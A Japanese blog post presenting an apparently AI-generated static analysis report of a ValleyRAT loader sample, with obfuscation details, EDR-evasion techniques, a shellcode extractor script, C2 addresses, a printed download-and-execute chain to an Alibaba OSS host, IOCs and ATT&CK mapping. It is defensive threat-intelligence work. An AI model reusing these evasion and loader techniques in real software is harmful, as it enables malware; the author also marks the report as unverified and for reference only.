はじめに
Claude CodeとBinary Ninja MCPでMalware解析を完全に自動化してもらいました。
何も自分自身で指示も出してないのに良いレポート出してもらったので、完全自動記念+レポート共有というところで記載します。
Ninja Agent
内部で利用してるMalware解析Agentくんです。勝手に名付けました。
Binary Ninja MCP経由のClaude Code Maxプラン(エージェントによってOpusだったりsonnetだったり分けてます。)で殴りつけてます。
以降記載する情報は実際のマルウェアサンプルが通信を行う宛先など含まれているため、取り扱いには十分注意してください。
対象
3/12ごろに観測されたValleyRATです。
レポート
以下レポートそのまま貼り付けます。
細かい精査まではしていません。脅威情報として役立てて頂くのもいいし、AI凄いや、AIまだまだだなとなるのもいいと思います。
※あくまで参考程度にどうぞ
レポート(ここをクリックで開く)
マルウェア解析レポート
解析日時: 2026-03-12
解析ツール: Binary Ninja MCP
解析者: AI Agent (Claude Code)
1. 概要
本検体は多段階ローダー/ステージャーであり、UUIDエンコーディングとXOR暗号化で隠蔽されたシェルコードをFiber経由で実行し、C2サーバー 108[.]187[.]4[.]142[:]447/448 にTCP接続する。中国のセキュリティソフト「360安全衛士」を検出した場合は、Alibaba Cloud OSSから追加ペイロードをダウンロードする代替実行パスも持つ。シェルコード内に "codemark" シグネチャが存在し、カスタムC2フレームワークの使用が示唆される。
2. ファイル情報
| 項目 | 値 |
|---|---|
| ファイル名 | dd783032cfab41e20be5cf2a6403e24684de0c179c21d9b60e32bc19d374904d.exe |
| ファイル形式 | PE (Portable Executable) |
| アーキテクチャ | x86_64 (64-bit) |
| コンパイラ | MinGW-w64 (TDM-GCC) |
| エントリポイント | 0x401500 (_start) / main: 0x408821 |
| パッキング | なし(obf:: 名前空間の制御フロー難読化 + XOR文字列暗号化あり) |
| ビルドバージョン | 0.1 (シェルコードコンフィグより) |
| ビルド日推定 | 2026-03-08 |
3. 表層解析
3.1 セクション情報
| セクション名 | 仮想アドレス | サイズ | 属性 |
|---|---|---|---|
.text |
0x401000 | 437,664 | ReadOnly, Code |
.data |
0x46c000 | 83,104 | ReadWrite |
.rdata |
0x481000 | 64,672 | ReadOnly |
.pdata |
0x491000 | 33,132 | ReadOnly |
.xdata |
0x49a000 | 38,020 | ReadOnly |
.bss |
0x4a4000 | 5,888 | ReadWrite |
.idata |
0x4a6000 | 5,080 | ReadWrite |
.CRT |
0x4a8000 | 112 | ReadWrite |
.tls |
0x4a9000 | 104 | ReadWrite |
.rsrc |
0x4aa000 | 38,697 | ReadWrite |
セクション名は標準的。RWXセグメントなし。既知パッカーのセクション名なし。
3.2 インポート(注目すべきもの)
動的ロード(API解決)
-
LoadLibraryA/GetProcAddress/GetModuleHandleA/GetModuleHandleW
プロセス/スレッド操作
-
CreateThread/CloseHandle/GetCurrentProcessId/GetCurrentProcess -
TerminateProcess/SuspendThread/ResumeThread -
GetThreadContext/SetThreadContext/DuplicateHandle
メモリ操作
-
VirtualQuery/VirtualProtect
同期オブジェクト
-
CreateMutexA/WaitForSingleObject/ReleaseMutex -
CreateSemaphoreA/ReleaseSemaphore/CreateEventA
Atom操作(文字列隠蔽)
-
AddAtomA/FindAtomA/GetAtomNameA
ウィンドウ操作
-
RegisterClassExA/CreateWindowExA/ShowWindow -
GetConsoleWindow/GetMessageA/TranslateMessage/DispatchMessageA
その他
-
Sleep/SetUnhandledExceptionFilter/srand/_time64
DLLインポート元: KERNEL32.dll, USER32.dll, msvcrt.dll
注意: ws2_32.dll, wininet.dll, winhttp.dll はインポートされていない(ネットワーク通信はシェルコード内で動的にWs2_32.dllをロードして実行)
3.3 エクスポート
-
_start(0x401500) - CRTエントリポイント -
main(0x408821) - メイン関数 -
_TLS_Entry_0,_TLS_Entry_1,_TLS_Entry_2- TLSコールバック(CRT/pthreadインフラ) - 多数の
obf::名前空間のvtable/typeinfo(制御フロー難読化フレームワーク)
3.4 注目すべき文字列
デコイURL(平文、データセクション)
hxxps[:]//www[.]baidu[.]com/s?ie=utf-8hxxps[:]//www[.]bing[.]com/search?q=hxxps[:]//cdn[.]soft[.]360[.]cn/static/json/index/index_jisu_1[.]0[.]jsonhxxp[:]//secure[.]globalsign[.]com/cacert/codesigningrootr45[.]crt0Ahxxps[:]//www[.]globalsign[.]com/repository/0hxxp[:]//ocsp[.]digicert[.]comhxxp[:]//www[.]winimage[.]com/zLibDllhxxp[:]//ocsp[.]globalsign[.]com/codesigningrootr450Fhxxp[:]//secure[.]globalsign[.]com/cacert/gsgccr45evcodesignca2020[.]crt0
マルウェア固有文字列
-
Hello360(360セキュリティ製品への参照) -
_zvhT(隠しウィンドウクラス名)
ビルドパス
C:/crossdev/src/mingw-w64-v3-git/mingw-w64-crt/crt/crtexe.cC:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\libgcc
4. APIハッシュ解析
APIハッシュは本体バイナリでは使用されていない。
本体バイナリのAPI解決方式:
- XOR暗号化文字列 (キー 0x41, 0x2F) →
xor_decrypt_string(0x4015c8) で復号 →GetProcAddressで動的解決 - PEB経由kernel32.dll取得:
get_kernel32_base_via_peb(0x402347) — TEB→PEB→Ldr→InMemoryOrderModuleListを走査、_wcsnicmp("kernel32.dll")で文字列比較
シェルコード内ではAPIハッシュ (ROR13+ADD) を使用 してWinsock API等を解決。
5. 暗号・難読化
5.1 検出された暗号アルゴリズム
| アルゴリズム | 用途 | 関数アドレス | 鍵情報 |
|---|---|---|---|
| XOR (キー 0x41) | API名・DLL名・URL・パスの暗号化 | 0x4015c8 (xor_decrypt_string) | 1バイト固定: 0x41 ('A') |
| XOR (キー 0x2F) | シェルコード実行関連API名の暗号化 | 0x4015c8 (xor_decrypt_string) | 1バイト固定: 0x2F ('/') |
| XOR (キー 0xAD) | UUIDデコード後シェルコードの復号 | 0x4022f8 (xor_decrypt_0xAD) | 1バイト固定: 0xAD |
AES, RC4, RC5, ChaCha20等の高度な暗号アルゴリズムは検出されなかった。
5.2 圧縮アルゴリズム
該当なし。
5.3 文字列難読化
| 手法 | 検出箇所 | 説明 |
|---|---|---|
| XOR単一バイト暗号化 | main, anti360_download_payload | スタック上にバイト単位で暗号化文字列を構築、xor_decrypt_stringで復号 |
| 文字列反転 | string_reverse (0x408732) | "Hello360aq" → "qa063olleH" (Atom名として使用) |
| UUIDエンコーディング | main (0x409140) | 189個のUUID文字列としてシェルコードを格納、UuidFromStringAでバイナリ復元 |
| Stack String | anti360_download_payload, main | mov byte命令列でスタック上に1バイトずつ文字列を組み立て |
| 制御フロー難読化 | 全体 |
obf:: C++テンプレートベース難読化フレームワーク |
5.4 復号済みAPI名・文字列一覧
XOR 0x41 で暗号化されていたもの
| 復号結果 | 用途 | 格納関数 |
|---|---|---|
| CloseHandle | プロセス列挙後のハンドル解放 | anti360_download_payload |
| lstrcmpiA | プロセス名比較 | anti360_download_payload |
| CreateToolhelp32Snapshot | プロセス列挙 | anti360_download_payload |
| Process32First / Process32Next | プロセス列挙 | anti360_download_payload |
| HipsDaemon.exe | 360セキュリティプロセス名 | anti360_download_payload |
| LoadLibraryA | DLLロード | anti360_download_payload |
| WinExec | ペイロード実行 | anti360_download_payload |
| urlmon.dll | URLDownloadToFileAの提供元 | anti360_download_payload |
| URLDownloadToFileA | ペイロードDL | anti360_download_payload |
hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/... |
ペイロードURL | anti360_download_payload |
C:\Windows\syssteeme.exe |
ドロップ先パス | anti360_download_payload |
| Sleep | 遅延 | anti360_download_payload, main |
| CreateThread | スレッド作成 | main |
| ExitWindowsEx | 強制シャットダウン | hidden_window_message_loop_thread |
| RegisterApplicationRestart | 再起動永続化 | main |
XOR 0x2F で暗号化されていたもの
| 復号結果 | 用途 | 格納関数 |
|---|---|---|
| LoadLibraryA | DLLロード | main |
| activeds.dll | ReallocADsMemの提供元 | main |
| rpcrt4 | UuidFromStringAの提供元 | main |
| User32.dll | APIロード | main |
| ReallocADsMem | メモリ確保(VirtualAlloc代替) | main |
| UuidFromStringA | UUID→バイナリ変換 | main |
| VirtualProtect | RWX権限付与 | main |
| ConvertThreadToFiber | Fiber実行準備 | main |
| CreateFiber | Fiber作成 | main |
| SwitchToFiber | シェルコード実行 | main |
6. Windows API挙動解析
6.1 検出されたインジェクションパターン
| パターン | 手法 | 関連API | 関数アドレス |
|---|---|---|---|
| Fiber経由UUIDシェルコード実行 | UUID→バイナリ変換→XOR復号→Fiber実行 | ReallocADsMem, UuidFromStringA, VirtualProtect, ConvertThreadToFiber, CreateFiber, SwitchToFiber | main (0x408821) |
| 条件付きペイロードDL+実行 | プロセス列挙→URLDownloadToFile→WinExec | CreateToolhelp32Snapshot, Process32First/Next, URLDownloadToFileA, WinExec | anti360_download_payload (0x40161a) |
6.2 シェルコード実行チェーン詳細
Fiber経由UUIDシェルコード実行(主要経路):
1. malloc(0xBD0) -- 3024バイトのバッファ確保
2. UuidFromStringA ×189回ループ -- UUID文字列テーブル(0x46C040)→16バイトずつバイナリ変換
3. xor_decrypt_0xAD(buf, 3024) -- XOR 0xADで全体を復号
4. ReallocADsMem(NULL, 0, size) -- activeds.dll経由のヒープ割当(VirtualAlloc代替)
5. memcpy_custom(realloc_buf, malloc_buf) -- シェルコードをコピー
6. VirtualProtect(buf, size, PAGE_EXECUTE_READWRITE=0x40) -- RWX化
7. ConvertThreadToFiber(0) -- 現スレッドをFiberに変換
8. CreateFiber(0, shellcode_buf, 0) -- シェルコードをエントリとするFiber作成
9. SwitchToFiber(fiber) -- シェルコード実行
回避テクニック:
-
ReallocADsMem(activeds.dll) を使用 → EDRのVirtualAllocフック回避 -
UuidFromStringAでデータ変換 → シェルコードパターン検知回避 - Fiber実行 →
CreateThread/CreateRemoteThreadのフック回避
6.3 権限昇格・永続化
| 挙動 | API | アドレス | 詳細 |
|---|---|---|---|
| ファイルドロップ | URLDownloadToFileA | 0x401fc1 |
C:\Windows\syssteeme.exe へペイロード保存(条件付き) |
| 再起動永続化 | RegisterApplicationRestart | main内 | アプリケーション再起動登録 |
| ミューテックス代替 | AddAtomA/FindAtomA | main内 | "qa063olleH" (Atom名) で多重起動防止 |
| 強制シャットダウン | ExitWindowsEx | 0x40205f | WM_QUERYENDSESSION時にEWX_POWEROFF|EWX_FORCE(フォレンジック妨害) |
6.4 ペイロード抽出スクリプト
#!/usr/bin/env python3
"""UUID Shellcode Extractor
対象: dd783032cfab41e20be5cf2a6403e24684de0c179c21d9b60e32bc19d374904d.exe
UUID Table VA: 0x46C040 (189 pointers), UUID Strings: 0x481000
XOR Key: 0xAD
WARNING: 抽出したシェルコードは実行しないこと。
"""
import struct, sys, uuid
def extract(pe_path, output="shellcode_decrypted.bin"):
import pefile
pe = pefile.PE(pe_path)
ib = pe.OPTIONAL_HEADER.ImageBase
# Read 189 UUID string pointers from 0x46C040
raw = pe.get_data(0x46C040 - ib, 189 * 8)
sc = bytearray()
for i in range(189):
ptr = struct.unpack('<Q', raw[i*8:(i+1)*8])[0]
uuid_str = pe.get_data(ptr - ib, 36).decode('ascii')
u = uuid.UUID(uuid_str)
sc.extend(u.bytes_le)
# XOR 0xAD decrypt (all but last byte)
for i in range(len(sc) - 1):
sc[i] ^= 0xAD
with open(output, 'wb') as f:
f.write(sc)
print(f"[+] Extracted: {output} ({len(sc)} bytes)")
print(f"[*] First 32 bytes: {sc[:32].hex()}")
if __name__ == '__main__':
extract(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "shellcode_decrypted.bin")
7. Anti-Debug / Evasion
7.1 Anti-Debug手法
| カテゴリ | 手法 | 検出API/パターン | 関数アドレス |
|---|---|---|---|
| タイミング検出 | KUSER_SHARED_DATA直接読み取り | 0x7FFE0014/0x7FFE001C直接参照 (GetTickCount代替) | 0x40850c (get_tick_via_kuser_shared_data) |
| タイミング検出 | CPU集中型遅延ループ | pi^2計算×100,000回×N回 | 0x40854e (timing_anti_analysis_delay) |
| コンソール隠蔽 | ウィンドウ非表示 | GetConsoleWindow + ShowWindow(SW_HIDE) | main内 0x40886a |
TLSコールバック: _TLS_Entry_0/1/2 はいずれもCRT/pthreadの標準TLS管理コード。Anti-Debug用途ではなかった。
未検出: IsDebuggerPresent, NtQueryInformationProcess, RDTSC命令, PEB!NtGlobalFlag, VM検出文字列, ETW/AMSI回避, ntdll再マッピング, 直接syscall
7.2 EDR/AV回避手法
| カテゴリ | 手法 | 検出パターン | 関数アドレス |
|---|---|---|---|
| PEB歩行 | kernel32.dllベースアドレス取得 | GS:[0x30]→TEB→PEB→Ldr→InMemoryOrderModuleList | 0x402347 |
| KUSER_SHARED_DATA直接参照 | GetTickCount APIフック回避 | 0x7FFE0014/0x7FFE001C直接読み取り | 0x40850c |
| API名暗号化 | IATベース検知回避 | XOR 0x41/0x2F + GetProcAddress動的解決 | 全体 |
| ReallocADsMem使用 | VirtualAllocフック回避 | activeds.dll経由のメモリ確保 | main内 |
| UuidFromStringA使用 | シェルコードパターン検知回避 | UUID→バイナリ変換 | main内 |
| Fiber実行 | CreateThread監視回避+スタック偽装 | ConvertThreadToFiber→CreateFiber→SwitchToFiber | main内 |
| 360セキュリティ回避 | HipsDaemon.exe検出→代替実行 | プロセス列挙+プロセス名比較 | 0x40161a |
| Sleep爆弾 | サンドボックスタイムアウト誘発 | Sleep(65秒), Sleep(5分)無限ループ | 0x402106, 0x4087c0 |
| 隠しウィンドウ | UI隠蔽 | RegisterClassExA("_zvhT")+CreateWindowExA | 0x4020e3 |
| 強制シャットダウン | フォレンジック妨害 | ExitWindowsEx(EWX_POWEROFF|EWX_FORCE) | 0x40205f |
| デコイURL | メモリスキャン偽装 | 9個の正規URL格納(通信には未使用) | main内 |
8. Config情報
8.1 Config格納方式
本検体のConfigは単一の暗号化ブロブではなく、コード内にXOR暗号化文字列として分散格納されている。
8.2 抽出された値
| 項目 | 値 | 格納場所 | 暗号化方式 |
|---|---|---|---|
| C2 IPアドレス | 108[.]187[.]4[.]142 |
シェルコード内 (オフセット 0x0A39) | XOR 0xAD (UUID+XOR) |
| C2ポート (Primary) | 447 | シェルコード内 | XOR 0xAD |
| C2ポート (Secondary) | 448 | シェルコード内 | XOR 0xAD |
| 通信プロトコル | Raw TCP (Winsock) | シェルコード内 | XOR 0xAD |
| ペイロードURL | hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/uploads/20260215/1233[.]exe |
anti360_download_payload | XOR 0x41 |
| ドロップパス | C:\Windows\syssteeme.exe |
anti360_download_payload | XOR 0x41 |
| 360検出対象プロセス | HipsDaemon.exe | anti360_download_payload | XOR 0x41 |
| ウィンドウクラス名 | _zvhT |
hidden_window_message_loop_thread | 平文 |
| Atom文字列 |
Hello360aq (反転: qa063olleH) |
main | 平文 |
| バージョン | 0.1 | シェルコードコンフィグ | XOR 0xAD |
| ビルド日推定 | 2026-03-08 | シェルコードコンフィグ | XOR 0xAD |
| デバッグモード (db) | 0 (OFF) | シェルコードコンフィグ | XOR 0xAD |
| ロック (lk) | 1 (ON) | シェルコードコンフィグ | XOR 0xAD |
| ステルス (hs) | 1 (ON) | シェルコードコンフィグ | XOR 0xAD |
| モジュールロード (ld) | 0 (OFF) | シェルコードコンフィグ | XOR 0xAD |
| ログ (ll) | 1 (ON) | シェルコードコンフィグ | XOR 0xAD |
| ハートビート (hb) | 0 (OFF) | シェルコードコンフィグ | XOR 0xAD |
| プロセスインジェクション (pj) | 0 (OFF) | シェルコードコンフィグ | XOR 0xAD |
| 初期Sleep | 65,000ms (65秒) | hidden_window_message_loop_thread | 平文 |
| メインSleepループ | 300,000ms (5分) | main | 平文 |
| タイミング遅延 | 20秒 | main | 平文 |
8.3 デコイURL一覧
以下のURLはメモリ上のデコイとして格納されるのみで、実際の通信には使用されない:
| URL (Defang済み) | 格納アドレス |
|---|---|
hxxps[:]//www[.]baidu[.]com/s?ie=utf-8 |
0x482dc0 |
hxxps[:]//www[.]bing[.]com/search?q= |
0x482de8 |
hxxp[:]//secure[.]globalsign[.]com/cacert/codesigningrootr45[.]crt0A |
0x482e08 |
hxxps[:]//www[.]globalsign[.]com/repository/0 |
0x482e48 |
hxxps[:]//cdn[.]soft[.]360[.]cn/static/json/index/index_jisu_1[.]0[.]json |
0x482e70 |
hxxp[:]//ocsp[.]digicert[.]com |
0x482eae |
hxxp[:]//www[.]winimage[.]com/zLibDll |
0x482ec8 |
hxxp[:]//ocsp[.]globalsign[.]com/codesigningrootr450F |
0x482ee8 |
hxxp[:]//secure[.]globalsign[.]com/cacert/gsgccr45evcodesignca2020[.]crt0 |
0x482f18 |
9. C2通信プロトコル
9.1 通信概要
| 項目 | 値 |
|---|---|
| プロトコル | Raw TCP (Winsock直接通信) |
| C2アドレス | 108[.]187[.]4[.]142 |
| ポート | 447 (Primary), 448 (Secondary) |
| 通信暗号化 | 静的解析の範囲では特定に至らず(シェルコード内で実装される可能性) |
9.2 通信フロー
- 本体バイナリ: コンソール隠蔽 → 360セキュリティ回避 → タイミング遅延 → UUID Shellcode展開
- シェルコード: PEB walk → Ws2_32.dll動的ロード → APIハッシュ(ROR13+ADD)でWinsock関数解決
-
C2接続:
WSAStartup→socket/WSASocketA→connect(108[.]187[.]4[.]142:447)→ 次段階ペイロード受信・実行 - ポート448: Primary(447)接続失敗時のフォールバック
9.3 条件付きペイロードダウンロード(360セキュリティ検出時)
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
→ Process32First/Next ループでHipsDaemon.exe検索
→ 検出時: LoadLibraryA("urlmon.dll")
→ URLDownloadToFileA("hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/uploads/20260215/1233[.]exe", "C:\Windows\syssteeme.exe")
→ WinExec("C:\Windows\syssteeme.exe")
→ Sleep(20000)
10. コマンド一覧
本体バイナリにコマンドディスパッチャは存在しない。
本検体はローダー/ステージャーであり、コマンド処理機能を持たない。コマンド処理は以下が担当:
- シェルコードが受信する次段階ペイロード
- 360セキュリティ検出時にダウンロードされるペイロード (1233.exe)
本体バイナリの機能一覧
| 機能 | 関数 | 説明 |
|---|---|---|
| コンソール隠蔽 | main (0x40886a) | ShowWindow(SW_HIDE) |
| 360 AV回避 | anti360_download_payload (0x40161a) | HipsDaemon.exe検出→ペイロードDL |
| タイミング遅延 | timing_anti_analysis_delay (0x40854e) | KUSER_SHARED_DATA + CPU集中型ループ |
| 隠しウィンドウ | hidden_window_message_loop_thread (0x4020e3) | クラス"_zvhT"、WM_QUERYENDSESSIONハンドラ |
| Atom多重起動防止 | main内 | AddAtomA/FindAtomA ("qa063olleH") |
| UUID Shellcode展開 | main (0x4090d1-0x409236) | 189 UUID→XOR 0xAD→3024バイト |
| Fiber実行 | main (0x40925e-0x4092a0) | ConvertThreadToFiber→CreateFiber→SwitchToFiber |
| 強制シャットダウン | wndproc_exitwindows_handler (0x40205f) | ExitWindowsEx(EWX_POWEROFF|EWX_FORCE) |
| Keep-alive | infinite_sleep_loop (0x4087c0) | 5分間隔Sleep無限ループ |
シェルコード分析
| オフセット | 内容 |
|---|---|
| 0x0000 | NOP sled + 関数プロローグ |
| 0x0005-0x00A0 | PEB walk (GS:[60h]) でDLLベース取得 |
| 0x00A0-0x0250 | APIハッシュ解決 (ROR13+ADD) |
| 0x0254 | "Ws2_32.dll" 文字列(スタック構築) |
| 0x03C4 | ソケット通信ルーチン |
| 0x05FE | メインC2接続ルーチン |
| 0x091E | PE/DLLロードユーティリティ |
| 0x0A19 | "codemark" シグネチャ |
| 0x0A39+ | C2コンフィグ (IP, Port, フラグ) |
11. IOC(侵害指標)
注意: IP、URL、ドメインはすべてDefang済み表記で記載。
ネットワークIOC
| 種別 | 値(Defang済み) | 備考 |
|---|---|---|
| C2 IP | 108[.]187[.]4[.]142 |
シェルコード内C2 (Primary/Secondary同一) |
| C2ポート | 447, 448 | Raw TCP |
| ペイロードURL | hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/uploads/20260215/1233[.]exe |
360セキュリティ検出時のみ |
| ペイロードホスト | kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com |
Alibaba Cloud OSS |
ホストIOC
| 種別 | 値 | 備考 |
|---|---|---|
| ドロップファイル | C:\Windows\syssteeme.exe |
ペイロード保存先 |
| ウィンドウクラス | _zvhT |
隠しウィンドウ |
| Atom名 | qa063olleH |
多重起動防止("Hello360aq"の反転) |
| プロセス検出対象 | HipsDaemon.exe |
360セキュリティプロセス |
ファイルIOC
| 種別 | 値 | 備考 |
|---|---|---|
| ファイル名 | dd783032cfab41e20be5cf2a6403e24684de0c179c21d9b60e32bc19d374904d.exe | 本検体 |
| ダウンロードファイル | 1233.exe | ペイロード(未取得) |
12. 構造体定義
malware_context (約0x250バイト)
struct malware_context {
// XOR復号バッファ領域 (0x000-0x0AF)
char decrypt_buf[11][16]; // API名/DLL名の復号用バッファ
char hello360_str[16]; // "Hello360aq" (反転用)
// デコイURL格納領域 (0x0C0-0x14F)
struct url_string {
void* data;
uint64_t size;
} urls[9]; // 9個の正規デコイURL
// スレッド/Fiber管理 (0x150-0x1AF)
char padding[16];
uint64_t create_thread_handle; // Sleepスレッドハンドル
uint64_t fn_create_thread; // CreateThread関数ポインタ
uint64_t fn_sleep; // Sleep関数ポインタ
uint64_t create_fiber_result; // CreateFiber戻り値
uint32_t vp_result; // VirtualProtect結果
uint32_t reserved1;
uint64_t virtual_alloc_buf; // VirtualAllocバッファ
// シェルコード管理領域 (0x1B0-0x1BC)
uint64_t shellcode_buf; // シェルコードバッファ
uint32_t shellcode_size; // サイズ (0xBD0 = 3024)
uint32_t uuid_count; // UUID数 (0xBD = 189)
// API関数ポインタ領域 (0x1C0-0x248)
uint64_t fn_switch_to_fiber;
uint64_t fn_create_fiber;
uint64_t fn_convert_thread;
uint64_t fn_virtual_protect;
uint64_t fn_uuid_from_string;
uint64_t fn_virtual_alloc;
uint64_t fn_uuid_dll_handle; // rpcrt4.dll
uint64_t fn_alloc_dll_handle; // activeds.dll
uint64_t fn_load_library_result;
uint64_t fn_get_proc_address;
uint64_t kernel32_base;
// ...
};
13. MITRE ATT&CK マッピング
| Tactic | Technique | ID | 備考 |
|---|---|---|---|
| 実行 | Native API | T1106 | PEB経由kernel32取得、GetProcAddress動的解決 |
| 実行 | User Execution | T1204.002 | WinExecによるペイロード実行 |
| 防御回避 | Process Injection (Fiber) | T1055.012 | ConvertThreadToFiber→CreateFiber→SwitchToFiber |
| 防御回避 | Obfuscated Files or Information | T1027 | XOR暗号化(0x41/0x2F/0xAD)、UUIDエンコーディング |
| 防御回避 | Deobfuscate/Decode | T1140 | 実行時XOR復号、UuidFromStringA変換 |
| 防御回避 | Hidden Window | T1564.003 | コンソール非表示、隠しウィンドウ"_zvhT" |
| 防御回避 | Time Based Evasion | T1497.003 | KUSER_SHARED_DATA直接読み取り、Sleep爆弾(65秒/5分) |
| 防御回避 | Disable or Modify Tools | T1562.001 | 360セキュリティ(HipsDaemon.exe)検出・回避 |
| 防御回避 | Dynamic API Resolution | T1027.007 | XOR+GetProcAddress、APIハッシュ(シェルコード内) |
| 探索 | Process Discovery | T1057 | CreateToolhelp32Snapshot+Process32First/Next |
| C2 | Ingress Tool Transfer | T1105 | URLDownloadToFileA、シェルコードステージャー |
| C2 | Non-Standard Port | T1571 | TCP 447/448 |
| 影響 | System Shutdown/Reboot | T1529 | ExitWindowsEx(EWX_POWEROFF|EWX_FORCE) |
| 永続化 | Execution Guardrails | T1480 | Atom名による多重起動防止 |
注意: このレポートは静的解析のみに基づいています。動的解析による検証は含まれていません。シェルコード内の詳細な通信プロトコルや次段階ペイロードの挙動は、動的解析で確認する必要があります。
最後に
どこかで手助けいるかなと思ったのですが、何もせず許可をたまにするくらいで出してきました。1時間くらいです。自分だと数日はかかるものをコマンド1つでやってくれました。
物凄い検体じゃなく、ジュニアレベルの解析でいける検体ならもうNinja Agentくん一人でなんとかなりそう。
AIパワー凄い。これはProじゃないと生き残れない時代が既に到来したというのでしょうか。